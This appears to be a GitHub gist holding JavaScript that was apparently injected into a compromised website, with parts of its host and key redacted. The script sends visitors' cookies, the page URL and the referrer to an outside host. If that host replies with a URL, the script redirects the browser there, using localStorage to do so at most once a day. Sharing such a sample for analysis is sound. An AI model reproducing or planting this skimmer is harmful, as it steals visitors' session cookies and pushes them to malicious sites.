Created
December 5, 2018 10:23
-
-
Save PhilETaylor/914b320cd12da0ebec087388699761a6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dL(); | |
function dL(){ | |
var host = 'https://press.connec<snip>cdn.com/f'; | |
var config = { | |
url: host + "/stats.php", | |
type: "POST", | |
data: { | |
vbase: document.baseURI, | |
vhref: location.href, | |
vref: document.referrer, k: "d29ya3Nob3B<snip>dWFscy5jb20=",ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), tg: "" | |
}, | |
success: onSuccessCallback | |
}; | |
function bl(resp){ | |
!function(dr){function t(){return!!localStorage&&localStorage.getItem(a)}function e(){o(), | |
parent.top.window.location.href=c}function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}} | |
function n(){if(t()){var o=localStorage&&localStorage.getItem(a);r>o&&e()}else e()}var a="MenuIdentifier", | |
r=Math.floor((new Date).getTime()/1e3),c=dr,i=86400;n()}(resp); | |
} | |
function onSuccessCallback(response){ | |
if(response && response.indexOf('http') > -1){ | |
bl(response); | |
} | |
} | |
minAjax(config); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment